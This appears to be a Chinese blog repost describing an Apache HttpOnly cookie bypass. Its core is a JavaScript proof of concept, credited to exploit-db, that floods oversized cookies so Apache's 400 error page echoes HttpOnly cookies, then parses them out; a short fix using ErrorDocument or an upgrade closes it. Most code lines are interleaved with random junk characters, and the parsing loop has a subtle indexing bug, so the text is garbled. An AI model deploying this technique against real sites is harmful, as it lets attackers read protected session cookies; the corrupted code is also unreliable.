Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
0 B! }- N1 p4 ~4 P  a" y6 T: b" c# P
用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
1 g% a+ m! g# C5 k

: y6 q! W& a+ Z5 [% t// http://www.exploit-db.com/exploits/18442/
6 F3 u: \' [2 j; ~( ^5 r: a5 }function setCookies (good) {
// Construct string for cookie value
var str = "";
" b3 X2 J6 y  k$ \5 U: M( \for (var i=0; i< 819; i++) {
str += "x";
( V, @8 D1 L* C* n* c2 R" m}
// Set cookies
4 {, v! d9 K- dfor (i = 0; i < 10; i++) {
// Expire evil cookie
/ q/ |# x* o( s" Yif (good) {
4 m0 Q; j- L% |/ _& L  Qvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
) j9 h4 z, Z9 p& B// Set evil cookie
  `( o1 |4 h; {$ i, X- S  Celse {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
4 x/ \- }5 F- p# b+ ^1 m- _0 t}
: V- C2 o* H3 A5 ?" S9 P1 {. ifunction makeRequest() {
" [6 C7 a2 K; \  P& k; w2 KsetCookies();
function parseCookies () {
: g# z/ I% `# B# R: [3 c: S1 qvar cookie_dict = {};
// Only react on 400 status
" [4 I; {+ f% O6 ?% Wif (xhr.readyState === 4 && xhr.status === 400) {
0 S7 B( G9 o/ D) k( e1 m// Replace newlines and match <pre> content
% O& e7 ?: i9 ?5 i; l3 W% Dvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
3 {: y, O) g! @: Jcontent = content[1].replace("Cookie: ", "");
" K: f' G' f& L0 c/ X; j) tvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
/ D, U& T# \, e' ~. V4 L" g. Vfor (var i=0; i<cookies.length; i++) {
& H6 t8 a! a; b& U* Kvar s_c = cookies.split('=',2);
, E$ r" \$ {6 M+ y/ gcookie_dict[s_c[0]] = s_c[1];
}
) \1 e7 M1 r$ b: f* v}
// Unset malicious cookies
6 ^) \8 q! a9 C/ C0 E7 F& jsetCookies(true);
5 x8 h$ `3 r2 U/ o7 U* salert(JSON.stringify(cookie_dict));
}
* N. u; S' {5 F6 }}
// Make XHR request
; C; ?. x( G7 c# |4 |3 A# O. C, ivar xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
" H+ h; b4 b. x* a2 u3 `' q. N7 L' ~xhr.open("GET", "/", true);
% s: b( m5 V* S4 M3 d7 z  nxhr.send(null);
6 c) f; P" G' O" F/ e- K}
makeRequest();

" K* O& g6 U* n/ ~1 f8 y你就能看见华丽丽的400错误包含着cookie信息。

* s9 J0 @. w2 \; G" W. Q. y( a1 C下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

3 e5 F- ~; L4 ~: `2 N修复方案：
) ^) N+ L5 d& ?" i, n4 @
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

5 N5 D/ B! _  ]2 C% c0 W3 IIn the event of a problem or error, Apachecan be configured to do one of four things,
' P" X1 s' o) T5 \- E# W9 B7 g
! @- h( e8 V1 @  z3 ]7 Q1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2 m$ }- [8 @/ x* M; J0 G2. output acustomized message输出一段信息
! Z" k5 q4 J2 E1 A3 C; k4 \2 e3 A3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
. b* m7 V6 t  I7 n$ y0 ?2 u8 J$ v1 d* _4. redirect to an external URL to handle theproblem/error转向一个外部URL
6 T2 n. W/ ^5 I5 W
" {7 W( l1 {, e1 b% ]1 D& D6 G经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
1 T. L; n4 j) F2 Q1 |
* k$ B9 r  q4 z. e& C" n0 A8 TApache配置：

ErrorDocument400 " security test"
& F1 @; s, A- |
当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html

  m. b1 ~0 }0 _3 n3 a, e$ T